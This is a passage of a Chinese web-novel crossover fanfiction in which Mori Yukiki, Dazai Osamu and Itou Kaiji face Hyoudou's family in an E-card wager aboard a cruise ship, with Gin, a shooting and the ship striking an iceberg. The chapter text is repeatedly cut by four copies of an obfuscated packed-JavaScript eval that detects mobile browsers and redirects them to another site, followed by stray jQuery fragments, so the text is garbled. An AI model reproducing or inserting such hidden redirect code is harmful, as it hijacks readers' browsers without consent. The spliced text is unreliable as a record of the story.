;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516454|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“泥水已经溅上了您的裤脚,反正都要洗一洗,干嘛不趁这次机会痛快地打个滚呢。”
“还是说,您笃定了我会输,那三个人会死,所以没必要亲自下场浪费时间?不想便宜琴酒先生把摇钱树带走,于是让我承受杀人的压力,这才是您的目的对吧。”
“来吧,让我们上大厅,在所有赌/徒的见证下完成这场盛事,从此全霓虹的地下都流传着这样一场精彩纷呈的赌/局,您不感到自豪吗。”
……
本就是过于锋利的美貌,从她进门那一刻所有人看一眼都自觉转过头不敢再看,那种会被割伤的感觉随着她站在墙边刻意收敛才逐渐褪去,如今她站出来走到兵藤和尊面前时更似一条嘶嘶的毒蛇,妖娆的躯体缠在人身上越来越紧,蛇信子带来的黏腻液体糊住了人的眼睛,发出的刺耳的化学反应。
太宰治应该不会被毒瞎了眼睛吧,坂口安吾不太确定地想。
兵藤和尊被她的话架得下不来台,疯狂使眼色给下属利根川和儿子兵藤和也,两人都选择了沉默。
琴酒看热闹不嫌事大,适时地开口:
“是这样吗,兵藤先生,我很乐意做这场游戏的裁判。”
——
成功把会议室里的人都拉去了大厅,此时限时四小时的游戏已经走到了尾声,我无心关注他人,一心找太宰治。
人呢,不会真的出事了吧。
心悬得越来越高,兵藤和尊要等石头剪刀布的游戏真正结束后才能开始我俩的赌局,我不耐烦地挥挥手表示知道了,继续在人群里搜寻。
太宰呢,萩原呢。
刚刚和萩原打游戏的金发美男和他的同伴也消失了。
等等,伊藤开司呢,怎么只见他的狐朋狗友古钿和另一个四眼胖子在一起,开司君被他们抛弃了吗。
帝爱集团的二把手利根川开始讲话,我拨开拥挤的人流,没有一张我想要看到的脸。
这时,人群中突然出现了一只手拍了拍我的肩膀,“这位小姐,你是丢了东西还是丢了人,或许我可以帮你找一找。”
绷紧的神经立刻得到轻松,我转身扑进他的怀里。
“太宰!”
“雪纪,久等了,希望我的出现来得刚刚好,没有让你那么难过。”
他说话文绉绉地,像个文弱书生,却能稳稳地将我抱在怀里。
我陷进太宰治温暖的怀抱中不愿出来,突然发现角落里兵藤和尊的身边不知何时出现了一个青年。
青年带着与这个季节极不相符的厚帽子,紫色的眼睛高傲地俯瞰世人。
30.我想成为救人的一方
和i人探讨哲学问题
*
我迅速移开目光,重新将注意力转移到太宰治身上。
“太宰君,刚才在会议室帝爱集团的老板要和我打一个赌,如果我赢了就能救下那三个异能者……”
我的话还未说完就被太宰治打断,“萩原研二被抓住了,雪纪,对不起。”
什么,我悚然一惊。
做我的朋友可是要经过严格筛选的,我相信萩原研二身为警察的实力,以他的身手绝对不可能落在敌人的手里,更何况还有一个太宰治在。
我仰起头,发现他一点没有慌乱紧张的神色,仿佛一切尽在掌握,只是静静地注视着我。
“绑架萩原君的人说,只要打赌赢过他,他就把萩原君放走。”
“怎么样雪纪,要救萩原君和那三个与你毫不相干的异能者吗。”
“如果只有我们两个人的话,马上就能离开这里。”
太宰治在我耳边低语,他的声音平静无趣,透着对人性的顿悟和轻视,如白茫茫的一片雪地被马蹄踩过后又覆盖上了新雪。太宰治时而期望有人能在他破破烂烂的三观上用力踩上一脚带上新的烙印,但往往是这片土地又蒙上了新的一层雪,泯灭了人性。
我没有回答他。
人群嬉闹,帝爱集团的二把手利根川宣布在场所有人可以用现金筹码和多余的星星交换下船的资格,救出因失去三颗星被投入小黑屋的人。
周围沸腾起来,所有人都想利用最后的机会救出同伴。古钿聚精会神地听着,他身边被伊藤开司新拉入伙的同伴安藤则面色阴郁,不知道在想些什么。
待利根川说完,古钿迫不及待地举手,“我想救我的朋友伊藤开司,用我多余的星星和钱。”
伊藤开司没用我留给他的星星,反而去了小黑屋?
扫了眼古钿和安藤的胸前,我明白伊藤开司的计划是什么了。他先给这两个同伴挣到合格的星星,然后在小黑屋等着同伴用多余的筹码解救,他本可以用我给他的星直接离开,但是他没有。
恐怕在伊藤开司看来,这是施舍吧。
可是,这种把自己的安危放到别人手里的做法是不明智的,如果不救他,用星和筹码换来的大量金钱足以让两个人再也不是社会底层的赌/徒,这两个狐朋狗友也不像经得起考验的样子。
果然,正要交换筹码的古钿被安藤拦住了,两人嘀嘀咕咕半天,选择了放弃。
伊藤开司被他们放弃了。
——
太宰治和我一起围观了全程。
对于伊藤开司的结局,他好像早有预料。
“既然是赌/徒,就应该自私利己一点,赌/徒身边没有朋友也不会出现道德高尚的人,他以为是小孩过家家?”
太宰治故意提高了声音,在我们的右侧正是关押了伊藤开司的小黑屋。
“你呢,雪纪,你的选择是什么,现在还有后悔离开的余地。”
“不管是哪种选择你都不用有心理负担。萩原研二选择做警察就要有在黑暗中牺牲的觉悟,那三个异能者也是因为贪婪被兵藤和尊抓住了把柄才沦落到如今的境地。你袖手旁观,不会有任何人指责你的冷漠。”
“毕竟,你已经尝试过救一个人了,但他没有抓住机会。”他意有所指。
从刚才看到古钿和安藤放弃救人时就一直在响动,似乎被人用力捶打的墙壁突然没了声音。
太宰治说着,目光和远处的厚帽子先生隔空交汇,他们应该认识对方,且水火不容,棋逢对手。
不然的话,太宰治就不会和我说那么多了。
如果要d,必然要和那个人对上,太宰治不希望我出现在连他都觉得棘手的敌人的视线中。
这是属于太宰治的温柔,锋利如荆棘的言语下藏了一颗柔软的心。
我很高兴,我在太宰治心中的分量似乎又重了一点。
但我注定要让他失望了。
“为什么要放弃救人呢。”我说,看到太宰治愣怔失神的表情,我疑惑地歪歪脑袋,“救人,哪怕是为了沽名钓誉,但只要付出了行动也比什么都不做或者害人强吧。”
“我想成为救人的那一方,因为我被别人救过。”
在我上一世遵守约定不再打牌后,就又回到了百无聊赖不知道该如何是好的境地。
后来我认识了一位新朋友。他问我,你为什么不尝试写作呢,你有这么多阅历,哪怕写写你的吃穿那也是了不得的谈资,我认为写作才是你真正的长项。
于是,我开始向出版社投稿。
我又红了。
这一次,我发自内心的感觉到了快乐。
“我很感谢有人救了我,所以我也一直在尝试救别人。”
在我仅长达一年的医院工作生涯中,我连上台做一台手术的资格都没有,更别提握着患者的手向他们保证一定尽力让他们康复。我在医院看到的只有无尽蔓延的绝望,所以我离开了那座被绝望包裹的巨塔。
我曾以为自己没有救人的能力,但太宰治让我看到了希望。
“太宰君,你愿意和我一起救人吗。”
我向他伸出手。
那一刻,太宰治晦暗的神色和漆黑的眼睛如同被一场大雨涓涤,那场雨似乎是我带给他的,又像是他心中的大雨从未停歇,雨水从心脏落到了他轻轻颤抖的肩膀,被冰雪覆盖的冻土终于得到春雨的浇灌重见天日。
太宰治轻轻的,又用尽全身力气般将他的手指覆在我的手心上。。
“当然,荣幸之至。”
……
“不过我们也要再找一个伙伴,这样才能凑够三个人。”
太宰治很快恢复了冷静,向我指出那个俄罗斯人和兵藤和尊是一伙的,一定会合起伙对付我俩。
果然,等到剪刀石头布的游戏终于结束,宣布我和兵藤和尊的对决正式开始时,这个臭老头又拉出来两个人,说一共三个异能者,要比三局,一局救一个才算公平。
这两个人分别是他的儿子和也和刚才那个奇怪的俄罗斯人。
我这边只有我和太宰治,剩下的一个人从哪来。
就在这时,身后的小黑屋门开了,伊藤开司从里面走了出来,手里攥着我留给他保命的星星。
这是我留给他的最后一张底牌,伊藤开司用来交换了他对“同伴”的信任。
没有理会心虚地前去搀扶他的古钿和安藤,伊藤开司径直走到我面前。
“森同学,请允许我和你们一起履行这次赌/约
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529528|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,救下那些人的性命。”
“你确定吗。”我问道:“失败了可能会死哦。”
伊藤开司不屑一笑,张狂的模样和当年在东大是生物学骄子时如出一辙,远比他后来在赌//场嬉笑怒骂要好看得多。
“我不会输的,森同学。为了你对我的信任,只有你真心把我当作朋友,所以我不会输。”
他长舒了一口气,口气里带着怅然,“我以后都不会再d了。我想,我该去学着做点更有意义的事了。”
看吧,我还是救了一个人的。我朝太宰治使眼色。
在一片喧闹中,太宰治和那个奇怪的俄罗斯人四目相接,意味深长道:“是啊,看来我们有把握赢下这一局了。”
——
人选很快决定好了,太宰治对俄罗斯人,伊藤开司对兵藤和尊,我对兵藤和也。
顺序是太宰治决定的,我和开司君都没有异议。
游戏名叫[E卡],简单来说是一个比大小的游戏。三种卡牌,分皇帝市民奴隶,三种卡牌所代表的筹码各不相同。每人分到数量均等的卡牌,共计十二次出牌后计算谁获得的筹码更多谁就获胜。
发明游戏的人是做奥数题时产生的灵感吗,这局赢下来我要怒吃三个小蛋糕再睡一天才能恢复精力。
坐在我隔壁的俄罗斯人听到我的牢骚噗嗤一笑,“在下费奥多尔·D,初次见面,美丽的小姐。”
身上带着病气的俄罗斯人潇洒地行了个吻手礼,低头的那一刻抬眸一笑,弯起的眼角老有味道了。
我一愣,心道老毛子那边的人一个两个都这么漂亮吗,被费奥多尔牵住的手“啪”地被人打了一下。
回过神来,太宰治已经从旁边的座位窜过来,掏出手帕在我的手上搓啊搓,细腻的皮肤已经被他搓出了一片红痕,太宰治还是不满意,嘴里反复念叨:“干什么呀,这是干什么呀。”
气鼓鼓的太宰治就差哈气了,“不许盯着他看,不许让他触碰你!”
怎么说,就算我知道这只是太宰治夸张的表演而已,但我还是觉得他“吃醋”的样子好可爱啊,如果是真的吃醋那就更可爱了。
“安静,不想比赛就滚出去。”
沙哑的声线极具辨识度,一股淡淡的烟味从我身后钻了出来。
担任裁判的琴酒走了过来,戴着手套的手搭在我的椅背上。我看他的脸色觉得很矛盾,又开心又不开心,臭着脸鸣/枪/示意游戏开始。
费奥多尔和太宰治回到座位上继续悠哉悠哉的聊天,谈笑间卡牌在两人手中上下飞舞,火花四射。
伊藤开司盯着自己手里的牌大气都不敢喘,兵藤和尊不断用言语刺激他,很快伊藤开司就受不住激将,豪气干云地甩下了一张牌。
坐在我对面的兵藤和也开始挤眉弄眼,“咱俩有必要吗。”
说着没必要,你偷偷看牌的动作不要太明显了啊大少爷。
我将奴隶卡牌放在桌上。
游戏中皇帝牌占有绝对的优势,所代表的筹码最多,反之奴隶最少,所以我选择多用奴隶牌获胜。
我这个人就是爱装。
“来吧,让我检测下集团未来接班人的头脑,能在我的手下赢过三分之二的筹码就足以证明你的优秀了。”
31.异能力:逆境无赖
你可以永远相信i人的眼光
*
十五分钟后,兵藤和也败下阵来。
—
我先向他发出第一次出牌会用奴隶卡的信号,让他掉以轻心选择了平民卡,但实际上我出的也是平民,第一局平。
给他树立了我爱说大话,其实非常小心的形象。
随后的几局中,我俩有胜有负,兵藤和也逐渐对我放松了警惕,甚至开始开玩笑了。
“夕闻老师,你这次的小说能让我当男主角吗。”
他手里捻着最后三张卡牌,一张皇帝两张平民,而我赢下这场游戏的关键是让手中的奴隶“刺杀”皇帝。
游戏中,皇帝赢平民,平民赢奴隶,奴隶赢皇帝,平民与平民和局,两个人会分别分到皇帝卡或奴隶卡,整场游戏可以看做是皇帝与奴隶间的厮杀。
我在等待奴隶对上皇帝的时机,或者是被兵藤和也手上的平民杀死。
我头都不抬,专注地看着手中的三张卡片,手指来回移动,在其中一张卡面上停了良久,过了几秒才心不在焉地答:
“可以,需要我把你塑造成英俊多情的伯爵大人吗。”
“那当然好啊。”兵藤和也来了兴趣,把牌倒扣到桌子上,兴致勃勃道:“把我写成像唐璜一样的风流浪子,但内心深处又充满着迷茫,在不知不觉间成就了一番大事业。”
“你事真多,有时间幻想不如趁早踹掉你爹上位。”
被戳到了痛处,兵藤和也的神色冷淡了不少。我假装没看见似的,手指继续在三张卡牌上来回移动。但我没有用犹豫时间最长的那张卡,而是随便挑了另一个。
“有胆量借他人之手弑亲,没胆子亲自挑战父亲的权威,人真是复杂的生物啊。”
“彼此彼此,与外表不相符的谨慎小姐。”兵藤和也回敬。
最后一局,我俩同时出牌。
皇帝对奴隶,我赢了。
心理尚未成熟的二世祖被激怒后是这个样子的,兵藤和也本来想求稳出平民牌,但最后关头还是选择了皇帝。同样,我不断犹豫的手指也给了他错觉,他以为我反复斟酌的卡是奴隶,最后保守选择了平民,那样至少又是场平局。
没什么技术含量,全靠心理战,这种时候激将法最好用。
兵藤和也叹了口气,完全放松地将后背靠在椅背上,侍应生为他端了杯红酒,一杯下肚后他如释重负道:“看来我和老爸差了不是一星半点儿,他老人家不会犯这种低级错误。”
我安慰道:“我会让你在书里死得绚烂一点,死得其所。”
……他的表情一言难尽。
—
那边太宰治和费奥多尔的比赛早就结束了,由此一来就有两名异能者活下来了,只剩下伊藤开司和兵藤和尊那边还在继续。
琴酒的脸色晴转阴转多云,我估计是他看到带不走异能者又杀不了有点可惜,但一想到马上就能送兵藤和尊上西天了感觉生活又有了盼头。
不愧是杀手,时刻想着嘎人,真敬业。
发现了我在偷看,琴酒威胁意味明显的朝我抬起了手枪,我赶紧抬头假装观察贴着金箔的天花板。
奇怪,我都发呆这么久了太宰治怎么还没来找我。
四处搜寻一番,发现费奥多尔也不见了,这俩人该不会打游戏不过瘾私下决斗去了吧。
“噗。”被自己的脑洞逗笑了,突然脑后钻出来一颗挂着海带低着水的人头,人头附在我的耳边阴恻恻道:
“你冲着那个阴沉男笑什么呢。”
我看了看站在我对面,伊藤开司那桌中间,手已经伸进大衣口袋里的琴酒,感到非常不可思议,“你怎么好意思说人家是阴沉男啊。”
这个大厅里随便拉出来一个人都比太宰治阳光开朗多了。
我接着问:“你去哪了。”
“没什么,试了下海水水温适不适合紫砂。”
“那结果呢。”
“太凉了,会感冒的。”
醉心游戏的伊藤开司听了半天终于忍不住了,“你俩是正常人的对话吗???”
“以后你会习惯的,开司君,太宰治就是这个性格。”我宽慰道:“他的同事都被折腾得没脾气了,你见到的不如他功力的十分之一。”
我的玩笑没有让伊藤开司轻松一点,短暂的愉快之后他又陷入苦战中了,豆大的汗珠挂在他的脑门上,目睹一切的兵藤和尊呵呵一笑。
“小子,你的同伴已经等得不耐烦了,还要坚持下去吗,最后一个人头就留给我吧,你已经招架不住没有信心了不是吗。”
“别废话了,老头子,等着看我怎么赢你吧。”
伊藤开司狠话说得很漂亮,可无论谁看到白板上的计数都知道形势不容乐观。
兵藤和尊咧嘴一笑,如闻到了血腥味朝猎物游来的白鲨。
第十局,伊藤开司输。
“可恶,可恶,你怎么会每次都猜中我要出的牌!”
“这就是岁月的魅力吧,如果你有幸活到我这个岁数,眼中的一切阴谋诡计就和小孩子捉迷藏,屁股露在外面就说藏好了一样显眼。”
“可恶,可恶!”伊藤开司一拳砸向牌桌,鲜血淋漓。
他似乎彻底失去了斗志,抱头痛哭。
银发杀手从牌桌中间转到了他的身后,似乎已经笃定了他的失败,只等最后一局游戏谢幕后枪口蹦出血花。
伊藤开司身子抖得更厉害了,他不想死。
我和太宰治站在一旁,哪怕是我在这紧要关头也会手脚冰凉,下意识地向身旁的热源汲取温暖。
将手插进太宰治的大衣兜里时,我和他都愣住了,两人面面相觑。
啊,已经是如此自然的情侣状态了吗……
喜欢一个人的状态是可以演出来的,我就是个中好手,可面对太宰治时,似乎不需要多余的东西来增进我们的距离。
太宰治呢,他也是吗。
我一米七的个头,穿上高跟鞋后几乎可以平视太宰治的眼睛,于是我“旁若无人”地凑近了他,灯光下太宰治非常秀色可餐。
结果这家伙竟然婉转且坚定的推开了我。
太宰治的眼皮朝别处翻了翻,意有所指,“在这么多人面前亲亲,我会害羞的哦。”
“一开始把我堵墙角强吻的人是你吧,装什么清纯啊,jk太宰。”
我抱怨了两句,顺从地站直了身体。
没多久太宰治又来招惹我了,“你觉得伊藤君会赢吗。”
“会。”我回答的毫不犹豫。
从我认识伊藤开司起他就是这个样子,最开始可能会赢两把,然后得意忘形输得一泻千里,如果说这是赌/徒的通病的话,伊藤开司还有个特异功能,就是到了要搏命的最后阶段让自己起死回生。
我认识他时,就是正好在牌馆撞见了他和人赌输家切下手指。
对方是一个帮派小头目,这家牌馆是他手下的马仔负责收保护费。马仔是刚入行的愣头青不会吓唬人,牌馆老板说几句好话就答应他下月再缴,然后下月再下月,保护费一直收不上来。小头目急了眼,把马仔毒打一顿拎到牌馆,要杀鸡儆猴。
那会儿伊藤开司还是个正经大学生,刚对打牌有点兴趣,美其名曰研究数学问题。正义感爆棚的大学生立刻冲上去了,跟小头目说冤有头债有主,老板不交钱打老板不就行了,为什么要弄死自己的手下。
我在人群中看戏,心道这孩子来了好几天还搞不清状况,牌馆是下金蛋的母鸡,老板也曾是地头蛇在这条街颇有名望,小头目不敢得罪老板当然只能拿废品的马仔出气。
小头目的脸都憋青了,说好,你想替人出头也得看自己配不配,不如和我赌一场,输了你替他切手指。
看看地上奄奄一息不住哀求的马仔,热血青年伊藤开司真咬牙答应了。
此时我已经在心里为他默哀了。刚接触□□的伊藤开司果然不是小头目的对手,节节败退,切手指已是必然。
然而就在最后一局,伊藤开司奋力一搏兑换了所有筹码□□,逆风翻盘。
整个过程如有神助,我以局外人的眼光来看,那一刻伊藤开司的身体仿佛被另一个人格接管,他无比冷静地计算每一张扑克牌的走向,方才让他暴跳如雷的挑衅之言通通充耳不闻,他屏蔽了所有感官,一心只想赢。
然后他就赢了,非常不可思议。
从那以后,伊藤开司变得有恃无恐起来,他坚信自己不会到山穷水尽的地步,即便到了也能赢回来,从此一头扎进赌//博这条不归路,别人怎么劝都不听。
听我说完,太宰治的手放在嘴边若有所思,“这么说来,伊藤君是爆发型人物了,可是他现在还很颓废啊。”
“不我相信我的眼光,开司君不会输的。他对我承诺过会赢,那就一定会赢。”
话音刚落,哭泣的伊藤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558990|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开司擦干了眼泪正坐在兵藤和尊面前,任谁都能看出他燃烧的熊熊斗志。
连带他整个人的气质都突兀地改变,从呜咽的野狗变成咆哮的的雄狮,对游戏稳操胜券。
太宰治一下来了兴趣,不只是他,我想消失已久的费奥多尔可能也在偷偷观察着我的朋友。
我似没看到太宰治掩饰的很好的认真神色,更加详细地介绍道:
“伊藤开司,他是一个无赖小混混,但他的道德观念和同理心非常强。所以哪怕没有我,他也会为了救人拼尽全力,就像他替朋友签了担保书上船,为朋友挣到下船的筹码一样。必须要给他的前进一个理由,为了帮助他人为了肩负起对同伴的责任,只有这样他才会认真做事。”
“如果他的生活中只有他自己的话,迟早会变成垃圾在路边腐烂。”
太宰治低声重复我的话,“需要一个理由才能活着吗。”
没有人能漫无目的地活着,如行尸走肉。
就像我莫名其妙来到这个世界,最终也找到了活着的意义。
第十一局开始。
嘈杂的议论声偃旗息鼓,所有人屏息凝神观看这场比赛,突然从外面传来叮呤咣啷的响声,紧接着凌乱的脚步声由远及近,大厅紧闭的大门被人吱呀一声拉开。
是那个和金发黑皮的男人一起上船的大块头,他跑得上气不接下气,朝琴酒喊道:
“不好了大哥,船,船朝着冰山撞过去了。”
——
片刻的沉寂后,如油锅下水,沸腾的人群涌向出口尖叫哀嚎声四起,利根川请求兵藤和尊的指示,被老头打了一拐棍,“蠢货,你是让我临阵脱逃把胜利让给这个小子吗。”
很快赌/徒/们跑了个干净,大厅里只剩下兵藤父子、利根川、伊藤和尊、琴酒和伏特加(他是这么称呼大块头的),以及我和太宰治,坂口安吾。
我扯扯太宰治的袖子,“这不会就是你搞得大新闻吧。”
[从我的小说里得到了灵感],这是太宰治的原话。
太宰治笑眯眯,“不排除有人推波助澜的嫌疑。”
行吧。“那现在能告诉我萩原君在哪了吗。”
“他和他的朋友一起被敌人关起来了,很安全,这会儿应该已经溜出来了。”
“好了雪纪”,太宰治打断我要说的话,将我往身后藏了藏,“从现在起不要说话,躲到我身后的柱子后面。”
是要出什么事了吗,我远比太宰治想象的镇定。
另一边伏特加和琴酒耳语了几句,琴酒冷笑一声,“废物。”
□□毫不留情地指向伊藤开司的后脑勺,后者被冰冷的枪口冻得一哆嗦,差点拿不稳牌。
“别磨磨蹭蹭,我没时间陪你们玩过家家。”
“是吗,我还以为琴酒先生善解人意,乐于助人,为了帮助他人觉醒异能特意留到现在呢。”
觉醒异能?
所有人不约而同看向和琴酒呛声的太宰治,这种备受瞩目被人用砂人视线注视的情景太宰治仿佛已经司空见惯,他难得急切地走过去,走到牌桌间。
“揭开牌面吧。”
皇帝对平民,伊藤开司胜。
伊藤开司激动地跳起来,“耶,我做到了,你们看到了吗,是我赢了!”
果然,我的眼光不会出错,我如释重负。
“是啊你做到了,异能力·逆境无赖,伊藤君,你是一名异能者。”
太宰治的手按在伊藤开司的肩膀上微笑着说,还沉浸在喜悦中的伊藤开司甚至没听清他说了什么,茫然地瞪大了眼睛,紧接着电光火石间太宰治以出奇的力道将伊藤开司扔到了我面前,
“跑!”
接到信号,我揪住伊藤开司的领子毫不犹豫地往外跑,身后砰地一声枪响,我按着伊藤开司俯身低头躲在桌子后面,发现倒在血泊里的人竟然是兵藤和尊。
琴酒和伏特加相对而立,所有人被这一变故吓得愣在原地,兵藤和也呆呆地看着父亲的尸体,太宰治和坂口安吾不知从哪摸出来一把手/枪,同样指着琴酒和伏特加。
轰隆!船体震动,似乎倾斜了一点。
“游戏规则,输者死。”
琴酒一字一顿,念出我在会议室时的狂妄之言。银色的长发在辉煌的灯光下光可鉴人,碧绿的眼睛勾起满意的色彩,他精准找到了我的位置,轻声咏叹道:
“接下来,赢者也不会生。”
32.左手中弹问题不大
i人需要安慰
*
坏了,冲我来的。
我和伊藤开司躲在桌子底下,大气不敢喘。他还没有搞清楚状况,要不是我死死捂住他的嘴这会儿已经喊出来了。
“别动了,那群人就是来抓你的。”我把锅推伊藤开司身上。
“唔唔唔,”伊藤开司乖巧地闭上了嘴,指了指天花板。
我向上望去,香槟色的水晶吊灯美轮美奂,号称由二十年工艺的老师傅一个个吹出来的灯泡上没有一丝瑕疵,昏黄的光线看得我晃了眼,直到生理盐水浸满双眼才终于看清,那吊灯支架上放着一包炸/药,而太宰治刚巧站在吊灯下的最中央。
如果这重达百斤的水晶灯掉落碎裂,数千块碎片足以将人的身体切割成大小不均的血块,更别提炸/药本身的威力。
“太宰,小心!”
“蠢货。”有人在轻叹我的自乱阵脚。
话音未落,空中划开一道白色的闪电,短暂的失明后爆炸声先于吊灯的落地入耳,随即满室黑暗。
黑暗中我维持着手向半空中举起的姿势,剧烈的疼痛几乎让我忘记自己姓甚名谁。听到我的呼喊,太宰治回过头安抚似地一笑,无论发生任何事他都那么笃定从容。
他最后对我说的话是;
“你放心。”
——
一声枪响后,应急电源自动开启,墙面底处的幽幽绿光照在男人到处寻找奔走的皮鞋上,经年未曾使用的应急灯上已经有了一层薄薄的灰,灰随着流动的空气落在男人一尘不染的鞋面上,而坂口安吾已经无心打理了。
“森小姐已经携着伊藤开司离开了。”
坂口安吾对太宰治说,太宰治正在处理自己胳膊上被子/弹划破的伤口,常年缠在身上的绷带终于完成了它真正的使命。
黑暗降临的那一刻,琴酒的子弹擦过他的臂膀朝森雪纪的方向而去,他没拦住。
坂口安吾在等太宰治发话下达指令,虽然他从未真正意义上和太宰治共事,听他指挥行动过,但这种时候没有人不会依赖太宰治的头脑,听从调遣。
太宰治迟迟没有开口,盯着胳膊上的伤口发呆。他伤口处理的一般,只粗糙地用绷带缠了几个圈,鲜血一刻不停地往外渗出。
坂口安吾后知后觉,安慰道:“森小姐不会有事的,而且她身边还有[逆境无赖],哪怕真遭遇了琴酒也能化险为夷。”
说到这坂口安吾眉头紧蹙,“怪不得琴酒能那么痛快答应当游戏裁判,他真正想要得到的异能者是伊藤开司!”
森雪纪为了要挟所有人回到大厅才提出赌约,正好中了琴酒想要接近伊藤开司的下怀。
包括他那两个一开始就出现在大厅的下属,他们的任务不是布下炸/弹,也是为了抓到伊藤开司。
“可是他是哪来的消息知道伊藤开司是异能者,又是怎么引诱我们上钩的呢。”
“我们能得到情报,他自然也可以。”太宰治平静地说,“帝爱集团的人已经去处理游轮侧翻的事了,我们也该行动了。”
费奥多尔还等着他呢。
太宰治手撑着桌面站起来,他一直坐在如台风过境横扫过的大厅中央,成百上千的水晶灯碎片在幽暗的应急灯下波光粼粼,和黑夜中的海水一样迷人,太宰治一低头就看到无数个自己和他相望无言。
那句“你放心”不过是权益之后的脱口而出罢了。
谁让森雪纪那么巧出现在这种场合。
但在陷入黑暗中的前一秒,森雪纪向他伸出了手,惊恐的目光死死盯住头顶的水晶灯。
她是如此地担忧我的安危。
还有一个疑点,当时她的手是手心朝上还是手背朝上来着?
琴酒的那声“蠢货”,是什么意思?是鄙夷吗。
太宰治求证道:“安吾,以你当时的角度,琴酒的子弹是朝雪纪去的没错吧,我没有拦住。”
“对啊,太宰君你不要有太大压力。”坂口安吾心想真没想到我会有安慰太宰治的一天。
“不,我不担心雪纪。”
这微末的疑点和雪纪对他的感情比起来微不足道,太宰治深吸一口气,“但我又希望自己应该担心她。”
——
从大厅离开后,我和伊藤开司在船上狼狈逃窜。
枪声不绝于耳,这时就发挥出到一个地方先背地图的优越性了,我拉着伊藤开司在船舱闪转腾挪,一刻不停地往甲板上跑。
既然太宰治反复说过几次“I jump”,上甲板准没错。
伊藤开司怒吼:“那个琴酒什么毛病啊一点信用都不讲,说好了只让臭老头一个人死的,凭什么追我们不放。”
“不一定,说不定是那个俄罗斯人呢,我怀疑他和太宰君之前就有过节。”
脚下突然一空,船体摇晃越来越剧烈,这船真的要沉了。
我跑的上气不接下气,“拜托了开司君,关键时刻发挥下你的异能作用,让咱们化险为夷好不好。”
该向伊藤开司解释他的异能有多重要了,计划进行到这一步没有一点疏漏,就是有点累。
“不是等会儿,异能者是什么我为什么会是异能者,他们为什么追着我不放啊。”伊藤开司还没搞清楚状况,停下要和我理论。
“这很好理解啊,动下你的脑筋。”都逃命了还要讲解很浪费体力诶,我拉着伊藤开司躲进拐角的储藏室里。“你的异能只有在完全的逆境,山穷水尽时才会发挥作用,那这帮刀口舔血的人只要做任务时带上你不就完成率百分百了,你是吉祥物啊。”
所以伊藤开司绝对不能落到别人手里。
“这不是挺好吗,我又死不了。”
“你死不了,别人会死啊,那都是极/道组织,你猜到时会有多少人因为你的异能无法从他们的枪下逃脱死掉?”
“什么?!我怎么没想到,啊啊啊这群混蛋。”伊藤开司大怒直接丧失理智,一脚踹开储藏室的门举着拖把朝追过来的蒙面人冲了过去。
拦都拦不住,我差点心跳骤停,然而才晚了这么几秒,等我出来时战斗已经结束了。
伊藤开司站在倒下的蒙面人中间,举着拖把茫然道:“他们一枪没有打中我,有几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572959|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枪还走火打到同伙了。”
我目瞪口呆。
这异能也太好用了,远胜我原本的预估水平。
多亏了伊藤开司的异能bug,我们一路有惊无险地来到甲板上,这里已经被之前大厅里的人们占满,兵藤和也和利根川正在大声组织人群有序排队,他们有备用的救生船正在下放。
萩原研二和太宰治还没有来,那就不能放伊藤开司和其他人一起离开,谁知道会不会有敌人埋伏在救生船上。
太宰治让我放心,我就放心在这里等他,别的什么都不要问,我的表现已经够让他起疑了。
大概过了半个多小时,甲板上的人已经少了三分之一,太宰治和萩原研二还有坂口安吾终于姗姗来迟。
坂口安吾还是一脸严肃,萩原研二神情恍惚,仿佛三观遭受了重大冲击,问他又闭口不谈,“是关于我朋友的一些事。”
太宰治溜溜达达到我面前,突然眼前一亮,开心地飞奔到甲板最前方朝我打招呼:
“这不是巧了吗,雪纪你看这里是不是很适合拍电影,我们去做那个动作吧。”
他夸张地张开了双臂,一脸陶醉。
……刚才在大厅里运筹在握还能安慰人的太宰治好像是我的幻觉。
还真是不忘初心啊。
但我知道,在这种关键时刻搞怪的太宰治,是为了让人掉以轻心故意为之。
太宰治想验证什么呢。
